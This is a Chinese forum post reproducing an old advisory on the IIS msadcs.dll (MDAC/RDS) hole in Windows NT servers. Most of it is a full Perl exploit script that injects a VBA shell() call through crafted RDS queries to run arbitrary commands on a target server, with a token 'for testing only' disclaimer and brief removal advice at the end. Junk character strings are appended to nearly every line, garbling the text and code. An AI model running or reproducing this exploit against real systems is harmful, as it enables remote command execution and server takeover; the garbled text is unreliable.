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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) XD0a :T)  
LayK&RwL  
涉及程序: 4(oU88 z  
Microsoft NT server ;~d$O M  
>#l: ]T  
描述: -%%Xx5D  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Sj|tR[SAoD  
EEK!'[<,sE  
详细: XE2rx2k  
如果你没有时间读详细内容的话,就删除: .oTS7rYw  
c:\Program Files\Common Files\System\Msadc\msadcs.dll t)?K@{ 9  
有关的安全问题就没有了。 L$ sENOm  
) )FLM^dj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &ynAB)  
|s(Ih_Zn  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 l`A&LQ[  
关于利用ODBC远程漏洞的描述,请参看: 4E2/?3D  
IhZn  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /N<aN9Z<x,  
enQW;N1_M  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 "Y^ 9g/  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp %l a1-r~  
c?}G;$  
这里不再论述。 Wwg<- 9wAJ  
w{2CV\^>5  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %0/qb0N&  
^?sP[;8S!  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset F.1u9)   
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! S^p^) fAmF  
$@] xi  
ZnzO]  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Kz/,V6H:  
S^==$TT  
#!perl mf{M-(6'  
# _`^AgRE  
# MSADC/RDS 'usage' (aka exploit) script d6JW"  
# :FH&#Eq~4  
# by rain.forest.puppy rWDD$4y  
# w3sU&  |N  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me aBG^Xhx  
# beta test and find errors! hAc|a9 o  
LW.j)wB]  
use Socket; use Getopt::Std; \)o.Y zAo@  
getopts("e:vd:h:XR", \%args); (S+/e5c)  
JR15y3 F  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; -@`Ah|m@}  
1y wdcg  
if (!defined $args{h} && !defined $args{R}) { 19y,O0# _  
print qq~ xf,A<j (o  
Usage: msadc.pl -h <host> { -d <delay> -X -v } <Z.{q Zd  
-h <host> = host you want to scan (ip or domain) ;s3\Z^h4kd  
-d <seconds> = delay between calls, default 1 second U.I w/T-5  
-X = dump Index Server path table, if available vyJ8" #]qY  
-v = verbose \O;/wf0Hg  
-e = external dictionary file for step 5 qhcx\eD:?  
|&W4Dk n  
Or a -R will resume a command session pOn&D  
hxM{}}.E  
~; exit;} "M[&4'OM  
zp}pS2DU  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]adgOlM  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} "-X8  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} s2|.LmC3|B  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); S1Od&v[R  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} K?! W9lUq  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } _E'}8.#{  
cHT\sJo`l  
if (!defined $args{R}){ $ret = &has_msadc; y {Bajil  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} NQZ /E )f  
Ert={"Q  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "U eq  
. "cmd /c "; 9*K-d'm  
$in=<STDIN>; chomp $in; a@|H6:|  
$command="cmd /c " . $in ; ob2_=hQnC  
6D2ot&5WW  
if (defined $args{R}) {&load; exit;} +75"Q:I  
(hZNWQ0  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [M%? [E}>  
&try_btcustmr; &oHr]=xA  
+>*=~R  
print "\nStep 2: Trying to make our own DSN..."; oQm XKV+[v  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; r nr-wUW@  
mTWd+mx  
print "\nStep 3: Trying known DSNs..."; T8|?mVv s  
&known_dsn; #5{xWMp/0  
KU oAxA  
print "\nStep 4: Trying known .mdbs..."; >bQOpGy}l  
&known_mdb; X`WS&!C<  
G"-V6CA[  
if (defined $args{e}){ D86F5HT}}  
print "\nStep 5: Trying dictionary of DSN names..."; Y,}h{*9Kd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } cNmAr8^}  
 1hi, &h  
print "Sorry Charley...maybe next time?\n"; /}6y\3h  
exit; \$DBtq5=  
CdmpKkq#  
############################################################################## WoGnJ0N q  
71P. 9Iz  
sub sendraw { # ripped and modded from whisker ![r)KE=v8I  
sleep($delay); # it's a DoS on the server! At least on mine... 8,[ *BgeX  
my ($pstr)=@_; .JB1#&B +  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || F*Hovxez  
die("Socket problems\n"); <X4f2z{T{@  
if(connect(S,pack "SnA4x8",2,80,$target)){ H!X*29nX  
select(S); $|=1; cl]W]^q-Cx  
print $pstr; my @in=<S>; Te?PYV-  
select(STDOUT); close(S); &-Wt!X 3  
return @in; >yn]h4M  
} else { die("Can't connect...\n"); }} lt:&lIW,3  
c!wRq4  
############################################################################## JBJ?|}5k4c  
dJnKa]X  
sub make_header { # make the HTTP request ~aQR_S  
my $msadc=<<EOT P, l (4  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Vh?vD:|  
User-Agent: ACTIVEDATA =EA @  
Host: $ip {Ke IYjE  
Content-Length: $clen 2 YWO'PL  
Connection: Keep-Alive qM26:kB{  
q5EkAh<PD|  
ADCClientVersion:01.06 V( 0Y   
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 `RE>gX  
G9QvIXRi  
--!ADM!ROX!YOUR!WORLD! H*3u]Ebh  
Content-Type: application/x-varg Q#ksf h!D  
Content-Length: $reqlen DA>nYj-s  
piIz ff  
EOT ;'V[8`Z@  
; $msadc=~s/\n/\r\n/g; MMET^SO  
return $msadc;} a`^$xOK,  
n[K%Xs)  
############################################################################## Q{uO/6  
K,|3?CjS  
sub make_req { # make the RDS request GIpYx`mHi  
my ($switch, $p1, $p2)=@_; Oe@w$?  
my $req=""; my $t1, $t2, $query, $dsn; 1(# H%  
,Fkq/h  
if ($switch==1){ # this is the btcustmr.mdb query #`%S[)RT  
$query="Select * from Customers where City=" . make_shell(); Z+);}>-5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . dQ-g\]d|  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} h@ ZC{B  
#Y-_kQV*  
elsif ($switch==2){ # this is general make table query *)^ ZUk  
$query="create table AZZ (B int, C varchar(10))"; d$+0 ;D4E  
$dsn="$p1";} { 6qxg_{  
:PY8)39@K  
elsif ($switch==3){ # this is general exploit table query ip{ b*@K  
$query="select * from AZZ where C=" . make_shell(); XfMUodV-OZ  
$dsn="$p1";} <'sm($.2  
p= x &X~  
elsif ($switch==4){ # attempt to hork file info from index server !J<0.nO/:  
$query="select path from scope()"; 4[;}/-  
$dsn="Provider=MSIDXS;";} = B;qy7?  
P~:^bU^F7  
elsif ($switch==5){ # bad query z~p!7q&g  
$query="select"; 7^! zT  
$dsn="$p1";} Xg_l4!T_l  
s/11 TgJ  
$t1= make_unicode($query); w?nSQBz$  
$t2= make_unicode($dsn); N!dBF t"  
$req = "\x02\x00\x03\x00"; $qZ6i  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9yTkZ`M28  
$req.= "\x00\x00" . $t1 ; =1|p$@L`%  
$req.= "\x08\x00" . pack ("S1", length($t2)); 55<!H-zt  
$req.= "\x00\x00" . $t2 ; f8r7 SFwUv  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; +/mCYI  
return $req;} <^KW7M}w*c  
@RuMo"js  
############################################################################## G}NqVbZ9]  
>< S2o%u~  
sub make_shell { # this makes the shell() statement 5pY|RV6:  
return "'|shell(\"$command\")|'";}  DQV9=  
2Y[n  
############################################################################## Y*#TfWv:  
ls9Y?  
sub make_unicode { # quick little function to convert to unicode 8JR&s  
my ($in)=@_; my $out; :ntAU2)H  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } #FRm<9/j  
return $out;} b{-|q6  
\21Gg%W5AE  
############################################################################## LqJV  
:-hVbS0I  
sub rdo_success { # checks for RDO return success (this is kludge) S-Vxlku]  
my (@in) = @_; my $base=content_start(@in); x 00'wY|  
if($in[$base]=~/multipart\/mixed/){ wnXU=  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} E1Q#@*rX>  
return 0;} })uyq_nz  
x.|sCqx  
############################################################################## c0&! S-4M  
awQGu,<N  
sub make_dsn { # this makes a DSN for us z`\KQx  
my @drives=("c","d","e","f"); W[Z[o+7pK  
print "\nMaking DSN: "; t*Z5{   
foreach $drive (@drives) { FBouXu#  
print "$drive: "; E|_8#xvb  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . c`lL&*]  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" /FPO'} 6i  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); [GI2%uA0  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; sVmqx^-  
return 0 if $2 eq "404"; # not found/doesn't exist {dE(.Z?]!#  
if($2 eq "200") { PGYx] r  
foreach $line (@results) { +tg${3ti_  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Rm$(X5x>o  
} return 0;} zO$r   
'T7 3V  
############################################################################## > MRuoJ  
r_tt~|s,>  
sub verify_exists { Jx`7W1%T  
my ($page)=@_; +eLL)uk  
my @results=sendraw("GET $page HTTP/1.0\n\n"); }jWg&<5+z  
return $results[0];} mC0Dj O  
i=P}i8,^ =  
############################################################################## THK^u+~LM  
*a{WJbau]  
sub try_btcustmr { /!p}H'jl  
my @drives=("c","d","e","f"); ^x^(Rk}|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l)jP!k   
:1gpbfW  
foreach $dir (@dirs) { #a tL2(wJ  
print "$dir -> "; # fun status so you can see progress [4dX[  
foreach $drive (@drives) { ?`kZ6$  
print "$drive: "; # ditto W.D>$R2  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; t pxk8Ys  
$reqlenlen=length( "$reqlen" ); JdWav!PYm  
$clen= 206 + $reqlenlen + $reqlen; {'{9B  
m,]9\0GUd  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); psz0q|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} %hH> %  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Up_"qD6  
T;PLUjp}  
############################################################################## A>FWvlLw'm  
N Mx:Jh-YN  
sub odbc_error { Y!Io @{f  
my (@in)=@_; my $base; m$pRA0s2`  
my $base = content_start(@in); [!uVo>Q4  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this , \RR@~u'  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jPx}-_jM  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {L.uLr_?e  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [io|qLr}\  
return $in[$base+4].$in[$base+5].$in[$base+6];} -m ;n}ECg  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 4)'U!jSb  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . itc\wn  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} %S$$*|_G  
pNmWBp|ER  
############################################################################## Xi\c>eALO  
M&Ln'BC  
sub verbose { n:1Ijh 1  
my ($in)=@_;  H ="I=}  
return if !$verbose; inK;n  
print STDOUT "\n$in\n";} tAY{+N]f  
WlGT&m&2  
############################################################################## d 792#Dc  
O;}K7rSc  
sub save { [U"/A1p  
my ($p1, $p2, $p3, $p4)=@_; Jm< uE]9  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; jPZpJ:  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; b8vZ^8tBV  
close OUT;} tB(~:"|8  
puMb B9)  
############################################################################## iY&I?o!Ch  
/Ah&d@b  
sub load { ^kz(/c/?  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; P46Q3EE  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ?gjx7TQ?  
@p=<IN>; close(IN); @A*>lUo  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); '4Qsl~[Eh  
$target= inet_aton($ip) || die("inet_aton problems"); AR$SQ_4  
print "Resuming to $ip ..."; Z`ww[Tbv~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; k{UeY[,jb  
if($p[1]==1) { b&LAk-}[  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; l5KO_"hy  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 27$,D XD  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); d/~g3n>|  
if (rdo_success(@results)){print "Success!\n";} Xw7'I  
else { print "failed\n"; verbose(odbc_error(@results));}} * >8EMq\^  
elsif ($p[1]==3){ I:UDEoQo  
if(run_query("$p[3]")){ iXvrZofE  
print "Success!\n";} else { print "failed\n"; }} (vchZn#  
elsif ($p[1]==4){ +"k?G  
if(run_query($drvst . "$p[3]")){ ?~yJ7~3TS<  
print "Success!\n"; } else { print "failed\n"; }} 5wl;fL~e  
exit;} #5'& |<  
%yk_(3a  
############################################################################## o[+t}hC[  
wArfnB&  
sub create_table { 8~TKiR5  
my ($in)=@_; ReA-.j_2@  
$reqlen=length( make_req(2,$in,"") ) - 28; b >k2@  
$reqlenlen=length( "$reqlen" ); C4|OsC7J  
$clen= 206 + $reqlenlen + $reqlen; {B6ywTK\ `  
my @results=sendraw(make_header() . make_req(2,$in,"")); ~(GN Y5  
return 1 if rdo_success(@results); v+SdjFAY  
my $temp= odbc_error(@results); verbose($temp); 'U0W   
return 1 if $temp=~/Table 'AZZ' already exists/; Z|ZB6gP>h1  
return 0;} e+{lf*"3  
Q {BA`Q@V  
############################################################################## ;/JXn  
MOnTp8   
sub known_dsn { mo(>SnS<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go K' <[kh:cl  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", BfVh\ lkH  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", BpYxH#4  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Y~UAE.  
CXyb8z4/+  
foreach $dSn (@dsns) { <1<xSr  
print "."; 6DgdS5GhT_  
next if (!is_access("DSN=$dSn")); oVPr`]  
if(create_table("DSN=$dSn")){ w1aoEo"S  
print "$dSn successful\n"; ylQj2B,CB  
if(run_query("DSN=$dSn")){ SO[ u4b_"h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [ K'gvLt1  
print "Something's borked. Use verbose next time\n";}}} print "\n";} k6RVP: V  
&;L=f;   
############################################################################## ^w<aS w  
L/] (pXEp  
sub is_access { yBIX<P)vE'  
my ($in)=@_; JEMc_ngR!  
$reqlen=length( make_req(5,$in,"") ) - 28; FoH1O+e  
$reqlenlen=length( "$reqlen" ); e t@:-}  
$clen= 206 + $reqlenlen + $reqlen; #(i pF  
my @results=sendraw(make_header() . make_req(5,$in,"")); +8itP>  
my $temp= odbc_error(@results); FU>KiBV#  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); -)}Z $;1a  
return 0;} C"_ Roir?  
h0g?=hJq  
############################################################################## /S1/ZI  
5s`r&2 w  
sub run_query { CS(2bj^6 D  
my ($in)=@_; p:W]  
$reqlen=length( make_req(3,$in,"") ) - 28; gt02Csdt  
$reqlenlen=length( "$reqlen" ); kw]?/s`  
$clen= 206 + $reqlenlen + $reqlen; Z[ (d7  
my @results=sendraw(make_header() . make_req(3,$in,"")); 6yMZ2%  
return 1 if rdo_success(@results); _*Z3,*~"X  
my $temp= odbc_error(@results); verbose($temp); ?# _{h  
return 0;} pi/0~ke4"  
!jSgpIp  
############################################################################## IOdxMzF`m  
C1UU v=|  
sub known_mdb { " r o'?  
my @drives=("c","d","e","f","g"); 1 ptyiy  
my @dirs=("winnt","winnt35","winnt351","win","windows"); NX.5 u8Pf  
my $dir, $drive, $mdb; .8!\6=iJB  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 0H_uxkB~  
A1,q 3<<D%  
# this is sparse, because I don't know of many 0BhcXH t  
my @sysmdbs=( "\\catroot\\icatalog.mdb", #RaqNu  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", |('o g*$  
"\\system32\\certmdb.mdb", *KY:U&*  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% jnT Tj l  
m|c [C\)By  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", vgD+Y   
"\\cfusion\\cfapps\\forums\\forums_.mdb", :Q ]"dbY^  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", NlKVl~_ C  
"\\cfusion\\cfapps\\security\\realm_.mdb", )OxcCV?5Z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", )Se$N6u-  
"\\cfusion\\database\\cfexamples.mdb", fi`\e W  
"\\cfusion\\database\\cfsnippets.mdb", Z${eDl6i  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [YHtBM:y  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", (=Kv1 HaD  
"\\cfusion\\brighttiger\\database\\cleam.mdb", qxu3y+po]  
"\\cfusion\\database\\smpolicy.mdb", \U>&W  
"\\cfusion\\database\cypress.mdb", 3]mprX'  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", T]-MrnO  
"\\website\\cgi-win\\dbsample.mdb", [xr^t1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", L/C~l3  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" AD?XJ3  
); #these are just M\{\WyeX  
foreach $drive (@drives) { 2bG3&G  
foreach $dir (@dirs){ js5VgP`  
foreach $mdb (@sysmdbs) { tkr&Fs"t+  
print "."; @*Ry`)T  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :W1?t*z:[  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; .'<K$:8@|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ H${LF.8  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Y_+#|]=$B  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 'o#oRK{#  
QRf>lZP  
foreach $drive (@drives) { '6&o:t  
foreach $mdb (@mdbs) { Zp~yemERr  
print ".";  R#^ku)0  
if(create_table($drv . $drive . $dir . $mdb)){ TEd 5&Z  
print "\n" . $drive . $dir . $mdb . " successful\n"; EGQgrwY5  
if(run_query($drv . $drive . $dir . $mdb)){ /r"<:+  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Hcu!bOQ  
} else { print "Something's borked. Use verbose next time\n"; }}}} d8w3Oz54  
} \WE&5 9G  
~U"m"zpLP  
############################################################################## &s vg<UZ  
bHv"!  
sub hork_idx { n{sk  
print "\nAttempting to dump Index Server tables...\n"; "YgpgW  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; kodd7 AD  
$reqlen=length( make_req(4,"","") ) - 28; nk%v|ZxoFv  
$reqlenlen=length( "$reqlen" ); 52tc|j6~#  
$clen= 206 + $reqlenlen + $reqlen; O=RS</01!  
my @results=sendraw2(make_header() . make_req(4,"","")); !uW*~u  
if (rdo_success(@results)){ *S:~U  
my $max=@results; my $c; my %d; 89(qU  
for($c=19; $c<$max; $c++){ 0h*Le  
$results[$c]=~s/\x00//g; 6` TwP\!$/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Z}uY%]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; )-Hs]D:  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }" vxYB!h3  
$d{"$1$2"}="";} wb?k  
foreach $c (keys %d){ print "$c\n"; } ge GhM>G  
} else {print "Index server doesn't seem to be installed.\n"; }} [=q/f2_1.  
1?FG3X 5  
############################################################################## s!/lQo5/  
`M6"=)twu  
sub dsn_dict { >aO.a[AM  
open(IN, "<$args{e}") || die("Can't open external dictionary\n");  c2M  
while(<IN>){ {&IB[Y6  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;98b SR/  
next if (!is_access("DSN=$dSn")); o&E8<e  
if(create_table("DSN=$dSn")){ eb\SpdM6  
print "$dSn successful\n"; aM;SE9/U  
if(run_query("DSN=$dSn")){ Y_:jc{?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { nWIZ0Nde'  
print "Something's borked. Use verbose next time\n";}}} rtJER?A  
print "\n"; close(IN);} Y|fD)zG_  
B\c_GXUw  
############################################################################## \~E?;q!  
WT<}3(S'?  
sub sendraw2 { # ripped and modded from whisker v-3VzAd=*&  
sleep($delay); # it's a DoS on the server! At least on mine... Bc"MOSV0  
my ($pstr)=@_; Yjc U2S"=P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7b>_vtrt  
die("Socket problems\n"); WK`o3ayH-  
if(connect(S,pack "SnA4x8",2,80,$target)){ M8X6!"B$Y  
print "Connected. Getting data"; {f #QZS!E  
open(OUT,">raw.out"); my @in; I$t8Ko._"  
select(S); $|=1; print $pstr; -!1=S: S  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} u NyN[U  
close(OUT); select(STDOUT); close(S); return @in; OA&'T*)-A6  
} else { die("Can't connect...\n"); }} E.Xp\Dm71  
M0fN[!*z  
############################################################################## iv~R4;;)  
Nt@|l7Xl*  
sub content_start { # this will take in the server headers Za{O9Qc?D|  
my (@in)=@_; my $c; 8c)GUx  
for ($c=1;$c<500;$c++) { W-s6+ DY  
if($in[$c] =~/^\x0d\x0a/){ N<rq}^qo  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } lfHN_fE>Mq  
else { return $c+1; }}} 7s?#y=M  
return -1;} # it should never get here actually ?uSoJM`wa!  
FAdTm#tgW]  
############################################################################## . f ja;aG  
e+lun -  
sub funky { agx8 *x  
my (@in)=@_; my $error=odbc_error(@in); 3)EJws!  
if($error=~/ADO could not find the specified provider/){ s`bGW1#io  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 6~%><C  
exit;} ? ;CIS$$r  
if($error=~/A Handler is required/){ RQQ' Wg  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'cpm 4mT  
exit;} &>Ve4!i q  
if($error=~/specified Handler has denied Access/){ Hh^ "c}  
print "\nServer has custom handler filters (they most likely are patched)\n"; =\%ER/  
exit;}} dXh[Ea^  
vYV!8o.I  
############################################################################## BrE#.g Jq  
paIjXaU1Mb  
sub has_msadc { @@o J@;  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); GB|>eZLv<  
my $base=content_start(@results); tVAo o-%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); &<e18L 7a  
return 0;} L8h3kT  
uMw6b=/U  
######################## Q&]|W Xv  
47Z3 nl?  
(2# Xa,pb  
解决方案: #s~;ss ,  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll #]jl{K\f#X  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 v ^h:E  
Q<V(#)*  
拿出来充数 哈哈
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